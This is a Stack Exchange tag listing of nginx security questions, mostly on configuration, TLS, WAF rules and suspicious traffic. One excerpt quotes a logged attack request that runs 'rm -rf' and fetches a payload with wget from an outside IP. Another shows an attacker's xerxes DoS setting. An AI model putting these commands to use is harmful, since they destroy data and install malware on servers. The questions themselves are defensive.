2022 Developer Survey is open! Take survey.

Questions tagged [nginx]

nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev

Filter by
Sorted by
Tagged with
0 votes
0 answers
19 views

Which is more secure and better practice? Setting up a reverse proxy on backend with localhost or on a separate VM and route to other VMs/services?

I wanna know if it's better in terms of security, availability and best practice to set up a nginx reverse proxy on my backend and use it with localhost or to set up a VM that handles everything for ...
user avatar
0 votes
0 answers
23 views

Very slow SOAP POST request processing with ModSecure for certain rules (SQL, IIS and system exploits)

While trying to implement NGinx WAF with ModSecurity 3.0.6 I am facing the issue with very poor XML SOAP POST performance. Rrequests takes ~5 seconds with occasional spikes up to 10 seconds. If I ...
user avatar
-1 votes
0 answers
39 views

How to stop/reduce constant DNS Spoof/Poisoning Attack from NGINX server if DNSSEC is not offered from provider?

Currently my domain is sitting without DNSSEC security because my domain provider didnt support it for my ccTLD domain, the feature will only be available once i renew my domain in about 2 months time....
user avatar
0 votes
0 answers
15 views

Can anyone help finding what's shady things are logged on my nginx webserver? [duplicate]

I have a hosted a simple react website(testing) with nginx webserver and cloudflare as ssl provider.My website is down from few days with cloudflare error 525 "SSL handshake failed".I was ...
user avatar
1 vote
1 answer
48 views

Ruby on Rails: Request to http://\localhost/admin/config.php

I got an exception notification for a request from 92.118.39.180:61001 to: http://\localhost/admin/config.php This is the notification: ------------------------------- Request: ------------------------...
user avatar
  • 113
0 votes
1 answer
44 views

How might I rate-limit in nginx against a distributed attacker that has set the number of parallel connections in xerxes to 1?

An attacker tweaks xerxes by setting the number of CONNECTIONS in xerxes to 1 instead of 8, like so: #define CONNECTIONS 1 They then attack with xerxes-executable mydomain 433. Their strategy is to ...
user avatar
0 votes
1 answer
32 views

TLS session tickets between proxy and upstreams

I'm planning to implement (nginx) ssl_session_tickets in addition to ssl_session_cache between a proxy and upstream. They're not located in the same DC so TLS must be in place. My questions are : 1) ...
user avatar
0 votes
1 answer
95 views

LAN Only Webserver

I am on a 192.x.x.x network and have a local server that hosts some webapps for the local users of the network. The server is running: Ubuntu VPN Nginx Reverse Proxy with the site.conf including: ...
user avatar
2 votes
0 answers
133 views

What are NGINX reverseproxy users doing to prevent HTTP Request smuggling?

Since NGINX does not support sending HTTP/2 requests upstream, what are the present NGINX reverseproxy users doing to mitigate HTTP Request Smuggling vulnerability? I understand that the best way to ...
user avatar
0 votes
1 answer
162 views

Should we enable UFW for EC2 (Ubuntu Server) instance with Nginx?

I just finished installing Nginx on my EC2 Ubuntu Server (AWS) and everything looks normal. I tested it on my browser by accessing my EC2 public IP. I can see Nginx's welcome message. It's not a big ...
user avatar
1 vote
1 answer
79 views

How to stop multiple port access attempts - multiple TIME_WAIT and ESTABLISHED lines on ports 80, 443, etc... from external IPs

I have nginx as reverse proxy and apache in the back, a firewall setup to enable just http and https, and ssh. netstat -tlupna gives me tens of lines with multiple TIME_WAIT or ESTABLISHED lines ...
user avatar
  • 13
0 votes
0 answers
100 views

Possible VNC-over-HTTP exploit involving Nginx?

I have the following setup Nginx + php-fpm, Nginx is running on port 80 and 443. Recently I noticed that connections were made from this servers port 80 to a remote machine on port 580x. [ src port is ...
user avatar
  • 31
0 votes
1 answer
167 views

Why is my SecAction rule being ignored?

I'm trying to configure a SecAction rule to help me tune ModSecurity 3 following this How to tune your WAF installation to reduce false positives tutorial, but the rule seems to be ignored and the msg ...
user avatar
  • 51
0 votes
0 answers
138 views

X-Permitted-Cross-Domain-Policies - allow certain URL patterns

I have a website where I am blocking it from being loaded via iframe into other websites. What I want is to keep this in place, but allow certain URLs from my website, to be iframed anywhere. For ...
user avatar
0 votes
0 answers
129 views

Unserialize URI with PHP and nginx to gain RCE

I stumbled upon this abomination in the code base of a project I'm working on and wondered if it constitutes a security issue. $requestUri = explode('?', $_SERVER['REQUEST_URI']); $requestUri = ...
user avatar
0 votes
1 answer
195 views

Blocking nginx from nmap version detection [duplicate]

Is there an efficient way to hide nginx from Nmap's Version Detection scan (nmap -sV)? The following is a sample result, we are trying to hide the nginx (reverse proxy) string. PORT STATE SERVICE ...
user avatar
0 votes
1 answer
135 views

How to use DH certificate to configure nginx server

My purpose is to leverage DH algorithm to enhance self-signed certificate (A toy in local computer). I refered the answer of Matt Caswell. It works fine to generate the dhcert.pem but fail to ...
user avatar
0 votes
1 answer
126 views

Encryption with Tomcat & Nginx reverse proxy

I'm working with Tomcat and nginx as a reverse proxy and I'm trying to have a better understanding of how the traffic flows and of what the security issues are. Picture this as what I have in mind: ...
user avatar
0 votes
1 answer
345 views

Changing $_SERVER['REMOTE_ADDR'] remotely

On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?: user www; pid /run/nginx.pid; error_log /dev/stderr info; events { ...
user avatar
  • 35
1 vote
1 answer
1k views

Spam GET And POST Requests - Are They Dangerous?

I am getting a lot of spam GET and POST requests lately which some of them look like this: "GET /config/getuser?index=0 HTTP/1.1" 404 143 "-" "Mozilla/5.0 (X11; Ubuntu; Linux ...
user avatar
1 vote
1 answer
221 views

Can a machine running a packet sniffer see what nginx is forwarding on localhost to a Flask app?

I want to serve a Flask application from my pc. Other machines in my network only should be able to consume the API. However, I wish to have the communication between the other machines and the API ...
user avatar
1 vote
2 answers
118 views

Is it unsafe to publish your nginx configs?

I've recently started to automate a lot of my tasks for my private VPS. A significant part of working with this server is ensuring the nginx webserver, which handles a reverse proxy to multiple ...
user avatar
  • 113
2 votes
3 answers
258 views

Is there any way for a client to view headers set by an NGINX reverse proxy?

I am setting up an NGINX reverse proxy, which sits in front of an API. I would like to use: proxy_set_header X-Secret-Key ${SECRET_VALUE}; to add a token to the request, which is then read by the API. ...
user avatar
  • 121
3 votes
0 answers
128 views

Is this nginx config suitable to enforce proper authorization?

Scenario I have a website secret.example.com, which contains information which must not be disclosed to third parties. In order to protect the information, TLS client authentication was chosen. ...
user avatar
1 vote
1 answer
412 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
user avatar
0 votes
0 answers
96 views

DDoS in form of bad bots?

Recently, one of my servers came under attack by DDoSing it. After inspection of access logs, I can only find one common denominator: Referrer. All of request come with (I assume) fake referrer: ...
user avatar
1 vote
1 answer
2k views

"unsupported certificate purpose" for nginx client auth

Please concern the following setup: A client certificate is issued like this: Root CA → Intermediate CA → Client Cert Let's assume everything is fine up to here, the intermediate CA cert is properly ...
user avatar
  • 133
1 vote
1 answer
3k views

Mongo DB hacked (read_me_to_recover) without the port exposed in the firewall?

I have recently set up parse-server on a DO VPS using 3 docker containers; one for parse-server, one for parse-server dashboard and one for mongodb. Because I am just testing this setup I left the ...
user avatar
0 votes
2 answers
203 views

Unusal GET requests in my nodejs journal - has my nginx/node been hacked? [duplicate]

Saw this in the journalctl for a service I have: jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485 jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/...
user avatar
0 votes
1 answer
96 views

Nginx module security

Im considering using this nginx module https://github.com/leev/ngx_http_geoip2_module to get the Information from which Country the IP is. My question is since im compiling the module by myself, how ...
user avatar
3 votes
1 answer
306 views

Why request shell commands from nginx?

I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
user avatar
0 votes
1 answer
2k views

HTTP Basic Auth and CSRF

I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks). I ...
user avatar
3 votes
2 answers
543 views

User authentication: In HTTP Server vs. in Web Application

Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
user avatar
  • 140
0 votes
0 answers
75 views

Is there a way to limit cookies to certain hosts in HTTP?

Using Nginx, I hope to restrict the permissible hosts for cookies. My initial intention was to employ a Content Security Policy for this purpose, but I don't see an obvious way to do this via a CSP. ...
user avatar
  • 188
0 votes
0 answers
251 views

Is `SecAction` order important for an OWASP ModSecurity config file?

Using a web server with Nginx + ModSecurity + OWASP ModSecurity Core Rules... On the OWASP config file crs-setup.conf is the order of the config section SecAction important or can i order them ...
user avatar
  • 101
1 vote
1 answer
989 views

Private ip address revealed by nginx, should I worry?

I run nikto on a server, let's say www.example.com and it says the following: OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. ...
user avatar
  • 459
0 votes
1 answer
253 views

Why do we want a timeout on a server?

This question is quite general as I want to understand the (security) benefits of a 'timeout' in general. For our Nginx proxy-server, we have been using HTTP/S timeouts where we came across the ...
user avatar
  • 103
0 votes
2 answers
380 views

Prevent download of an angular website by unauthenticated users

I have an app using angular and when deployed to a server, everyone can ofc download the source codes, obfuscated or not. Yet, I would like to prevent user that are not authenticated to see the ...
user avatar
  • 103
1 vote
1 answer
337 views

On TLS-enabled nginx/httpd, is "ssl_verify_client optional_no_ca" disabling TLS's "CertificateVerify" checks?

I'm looking for an helping hand with my https nginx setup. I require my application to be exposed through an nginx frontend, offloading TLS. Easy ! The thing is, I need to have Certificate-based ...
user avatar
  • 11
0 votes
2 answers
132 views

Too much requests on the Nginx Server [closed]

I'm receiving a lot of requests like these [server] zcat access*gz | grep 404 | awk '{print $1" "$7}' | sort | uniq -c | less : 2 103.193.242.137 /MCLi.php 1 103.193.242.137 /Moxin.PHP ...
user avatar
-1 votes
1 answer
411 views

DH cipher suites and DH OpenSSL Generated

I need a openssl generated diffie-hellman params for work with ECDHE or DHE cipher suites on TLSv1.2 nginx server?
user avatar
1 vote
2 answers
469 views

PHP Local File Inclusion from URL; no param

The PHP code has a handleRoute($path) function that is triggered for URLs like server.com/routeme/a. Handle route has the follwing: if file_exists($path) then include $path. The $path argument is /...
user avatar
  • 111
3 votes
1 answer
959 views

Are these log messages in my nginx server evidence of an attempted attack?

My AWS Elastic Beanstalk server is often reporting Environment health has transitioned from Ok to Severe. 100.0 % of the requests are erroring with HTTP 4xx. This happens almost daily for a few ...
user avatar
4 votes
2 answers
293 views

Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?

Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root. I have heard from various sources that trusting uploaded ...
user avatar
4 votes
2 answers
1k views

How can nginx run a file with jpg extension as a php file?

I have a follow up question on this answer about executing image files as php. The answer explains that nginx support virtual directories. One can run www.something.com/blan.php/one/two/3 and one/...
user avatar
  • 43
7 votes
1 answer
2k views

Extracting openssl pre-master secret from nginx

I have to store pre-master keys for all TLS connections due to regulator request. We are using nginx to terminate TLS. I've read Extract pre-master keys from an OpenSSL application and especially ...
user avatar
1 vote
1 answer
730 views

Why is it okay to run NGiNX or Apache Web Server as root on port 80/443 and not your app directly?

Just like the title says, I would like to understand: what are the implications of running a custom app (like node or flask) on port 80/443. Is running a reverse proxy like Nginx mandatory from a ...
user avatar
  • 141
1 vote
1 answer
262 views

URL rewrite spoofable

I am considering using URL rewrites in kubernetes nginx proxy to publish selected context paths in microservices which are run in a cluster running internal services. For example https://public....
user avatar
0 votes
0 answers
248 views

what kind of attack is this

Im developing a website on test server and so when debugging some stuff I had to look in access log, this is a small chunk of what I saw: 37.99.49.203 - - [13/May/2019:17:51:34 +0200] "H\x1E\xF3qxZ\...
user avatar
2 votes
0 answers
490 views

Malicious PNG (html with png header)

I found following security notice on Django website: Django’s media upload handling poses some vulnerabilities when that media is served in ways that do not follow security best practices. ...
user avatar